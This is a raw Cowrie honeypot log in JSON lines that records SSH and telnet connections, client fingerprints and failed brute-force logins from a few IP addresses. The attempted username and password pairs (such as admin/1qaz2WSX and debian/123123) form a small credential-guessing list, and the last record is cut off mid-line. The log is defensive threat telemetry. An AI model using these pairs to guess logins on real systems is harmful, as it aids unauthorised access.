{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:53.804530Z","src_ip":"159.203.92.129","session":"faf977bc8583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz2WSX","message":"login attempt [admin/1qaz2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:53.866627Z","src_ip":"159.203.92.129","session":"faf977bc8583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:29:54.873513Z","src_ip":"159.203.92.129","session":"faf977bc8583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02260947227478,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:21.153980Z","src_ip":"176.29.26.223","session":"88e4c9a1db2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00306582450867,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:23.585394Z","src_ip":"176.29.26.223","session":"71899e441b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":20321,"dst_ip":"159.203.135.109","dst_port":23,"session":"30895cc30d3a","protocol":"telnet","message":"New connection: 176.29.26.223:20321 (159.203.135.109:23) [session: 30895cc30d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:28.031403Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":34330,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a25fc350af5","protocol":"ssh","message":"New connection: 176.53.96.10:34330 (10.17.0.5:22) [session: 2a25fc350af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:28.047952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:28.053135Z","src_ip":"176.53.96.10","session":"2a25fc350af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:28.173828Z","src_ip":"176.53.96.10","session":"2a25fc350af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radioserver","password":"radioserver","message":"login attempt [radioserver/radioserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:28.688953Z","src_ip":"176.53.96.10","session":"2a25fc350af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:29.812793Z","src_ip":"176.53.96.10","session":"2a25fc350af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49610,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71ee222de80","protocol":"ssh","message":"New connection: 159.203.92.129:49610 (159.203.135.109:22) [session: f71ee222de80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:39.285625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:39.290913Z","src_ip":"159.203.92.129","session":"f71ee222de80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:39.299833Z","src_ip":"159.203.92.129","session":"f71ee222de80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz2Wsx","message":"login attempt [admin/1qaz2Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:39.313189Z","src_ip":"159.203.92.129","session":"f71ee222de80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:30:40.323207Z","src_ip":"159.203.92.129","session":"f71ee222de80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36854,"dst_ip":"159.203.135.109","dst_port":22,"session":"d802f2ee76e5","protocol":"ssh","message":"New connection: 159.203.92.129:36854 (159.203.135.109:22) [session: d802f2ee76e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:23.965555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:23.971588Z","src_ip":"159.203.92.129","session":"d802f2ee76e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:23.976918Z","src_ip":"159.203.92.129","session":"d802f2ee76e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz2wsX","message":"login attempt [admin/1qaz2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:23.989589Z","src_ip":"159.203.92.129","session":"d802f2ee76e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:24.996841Z","src_ip":"159.203.92.129","session":"d802f2ee76e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":40650,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c60cd0c2579","protocol":"ssh","message":"New connection: 176.53.96.10:40650 (10.17.0.5:22) [session: 5c60cd0c2579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:26.666412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:26.673946Z","src_ip":"176.53.96.10","session":"5c60cd0c2579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:26.805730Z","src_ip":"176.53.96.10","session":"5c60cd0c2579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"21","message":"login attempt [ubuntu/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:27.330983Z","src_ip":"176.53.96.10","session":"5c60cd0c2579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:31:28.457064Z","src_ip":"176.53.96.10","session":"5c60cd0c2579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48220,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e930b622740","protocol":"ssh","message":"New connection: 159.203.92.129:48220 (159.203.135.109:22) [session: 7e930b622740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:08.425623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:08.431034Z","src_ip":"159.203.92.129","session":"7e930b622740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:08.436259Z","src_ip":"159.203.92.129","session":"7e930b622740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz2wsx","message":"login attempt [admin/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:08.450402Z","src_ip":"159.203.92.129","session":"7e930b622740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:09.458076Z","src_ip":"159.203.92.129","session":"7e930b622740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":54508,"dst_ip":"10.17.0.5","dst_port":22,"session":"91d7393b47f7","protocol":"ssh","message":"New connection: 176.53.96.10:54508 (10.17.0.5:22) [session: 91d7393b47f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:23.013814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:23.018535Z","src_ip":"176.53.96.10","session":"91d7393b47f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:23.149159Z","src_ip":"176.53.96.10","session":"91d7393b47f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123123","message":"login attempt [debian/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:23.688926Z","src_ip":"176.53.96.10","session":"91d7393b47f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:24.825941Z","src_ip":"176.53.96.10","session":"91d7393b47f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00346302986145,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:28.034695Z","src_ip":"176.29.26.223","session":"30895cc30d3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":26596,"dst_ip":"159.203.135.109","dst_port":23,"session":"7651a10a6a01","protocol":"telnet","message":"New connection: 176.29.26.223:26596 (159.203.135.109:23) [session: 7651a10a6a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:30.699971Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47554,"dst_ip":"159.203.135.109","dst_port":22,"session":"a12184ec646f","protocol":"ssh","message":"New connection: 159.203.92.129:47554 (159.203.135.109:22) [session: a12184ec646f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:52.283349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:32:52.288605Z","src_ip":"159.203.92.129","session":"a12184ec646f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-